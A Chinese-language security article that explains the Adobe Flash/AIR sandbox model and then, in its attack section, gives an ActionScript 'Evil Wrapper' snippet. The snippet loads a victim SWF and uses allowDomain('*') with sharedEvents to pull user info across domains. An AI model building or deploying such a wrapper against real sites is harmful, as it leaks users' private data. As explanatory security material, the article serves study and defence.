Flash是一种动画创作与应用程序开发于一身的创作软件,到2013年9月2日为止,最新的零售版本为AdobeFlash ProfessionalCC(2013年发布)。Adobe Flash Professional CC为创建数字动画、交互式Web站点、桌面应用程序以及手机应用程序开发提供了功能全面的创作和编辑环境。Flash广泛用于创建吸引人的应用程序,它们包含丰富的视频、声音、图形和动画。可以在Flash中创建原始内容或者从其它Adobe应用程序(如Photoshop或illustrator)导入它们,快速设计简单的动画,以及使用Adobe ActionScript 3.0开发高级的交互式项目。设计人员和开发人员可使用它来创建演示文稿、应用程序和其它允许用户交互的内容。
与其他应用型语言一样,Flash的运行也是基于安全沙箱环境。因为自身设计的缺陷,一直有安全问题。在精心构造的flash下,会有信息泄露的风险。
0x01 Flash安全沙箱
客户端计算机可以获得包含来自许多源(如外部网站、本地文件系统或安装的 AIR 应用程序)的代码、内容和数据的各个文件。Flash Player 和 AIR 运行时会根据代码文件及其他资源(如共享对象,位图、声音、视频和数据文件)加载时的来源分别将其分配到安全沙箱中。
远程沙箱
Flash Player 和 AIR 运行时将来自 Internet 的资源(包括 SWF 文件)分类到与其原始域对应的单独沙箱中。例如,会将从 example.com 加载的资源放置到与从 foo.org 加载的资源不同的安全沙箱中。默认情况下,对这些文件授予访问其自身所在服务器中任何资源的权限。通过显式的 Web 站点许可和作者许可(例如 URL 策略文件和 Security.allowDomain() 方法),可以允许远程 SWF 文件访问其他域的其他数据。但是远程沙箱无法加载本地资源文件
本地沙箱
“本地文件”是指通过使用 file: 协议或统一命名约定 (UNC) 路径引用的任何文件。本地 SWF 文件放置在四个本地沙箱中的一个内:
只能与本地文件系统内容交互的沙箱 — 出于安全方面的考虑,默认情况下,Flash Player 和 AIR 运行时会将所有本地文件放置在只能与本地文件系统内容交互的沙箱中。通过此沙箱,可执行代码可以读取本地文件(例如通过使用 URLLoader 类),但无法通过任何方式与网络通信。这样可向用户保证本地数据不会泄漏到网络或以其他方式不适当地共享。
只能与远程内容交互的沙箱 — 编译 SWF 文件时,可以指定该文件作为本地文件运行时拥有网络访问权限。这些文件位于只能与远程内容交互的沙箱中。分配到只能与远程内容交互的沙箱中的 SWF 文件将失去其本地文件访问权限,但允许这些 SWF 文件访问网络中的数据。不过,只有通过 URL 策略文件或调用 Security.allowDomain() 方法来授予操作权限,才允许远程内容交互的 SWF 文件读取源自网络的数据。为授予此类权限,URL 策略文件必须向“所有”域授予权限,方法是使用 或使用 Security.allowDomain("*")。有
受信任的本地沙箱 — 注册为受信任(由用户或安装程序注册)的本地 SWF 文件放置在受信任的本地沙箱中。系统管理员和用户还可以根据安全注意事项将本地 SWF 文件重新分配(移动)到受信任的本地沙箱,或者从受信任的本地沙箱重新分配(移动)本地 SWF 文件分配到受信任的本地沙箱的 SWF 文件可以与其他任何 SWF 文件交互,也可以从任何位置(远程或本地)加载数据。
AIR 应用程序安全沙箱 — 该沙箱包含在运行 AIR 应用程序时安装的内容。默认情况下,在 AIR 应用程序沙箱中执行的代码可跨脚本访问来自任何域的代码。但是,不允许 AIR 应用程序沙箱外的文件跨脚本访问应用程序沙箱内的代码。默认情况下,AIR 应用程序沙箱内的代码和内容可加载来自任何域的内容和数据。
只能与远程内容交互的沙箱和只能与本地文件系统内容交互的沙箱之间的通信以及只能与本地文件系统内容交互的沙箱和远程沙箱之间的通信是严格禁止的。运行于 Flash Player 中的应用程序或用户/管理员不能授予允许此类通信的权限。
在本地 HTML 文件和本地 SWF 文件之间以任一方向访问脚本(例如使用 ExternalInterface 类)均要求涉及的 HTML 文件和 SWF 文件应位于受信任的本地沙箱中。这是因为浏览器的本地安全模型与 Flash Player 本地安全模型不同。
只能与远程内容交互的沙箱中的 SWF 文件无法加载只能与本地文件系统内容交互的沙箱中的 SWF 文件。只能与本地文件系统内容交互的沙箱中的 SWF 文件无法加载只能与远程内容交互的沙箱中的 SWF 文件。
0x02 攻击实现
在swf中可以包含包含代码Security.allowDomain(“*”),以允许主机网页上的javascript将命令发送到Flash应用程序,如play(),pause()等等。这也意味着Evil Wrapper可以访问任何公共属性,就像在同一个安全沙箱中一样。但是它无法访问私有属性。
public function Wrapper(){
// allow external javascript/Flash files to access its public properties
Security.allowDomain("*");
// load the Main App
this.appLoader .load(new URLRequest("https://xxxx.com/.../attack2.swf");
// add as child of display container
this.addChild(this.appLoader );
// loaderInfo.sharedEvents Api
this.loader.contentLoaderInfo.sharedEvents
.addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);
}
在Flash中加载外部Flash文件有点类似于在html中加载。如果iframe来自与其父项不同的来源,则由于同源策略(SOP),它们不能访问彼此的属性。
Flash还提供了一个Api,用于在Loader和加载文件之间使用loaderInfo.sharedEvents进行通信。使用此API与主应用程序进行通信。当主应用程序将一个事件发送到sharedEvents Api时,接收事件并使用event.data属性发回用户信息。此处,恰恰是打破沙箱,跨域的关键。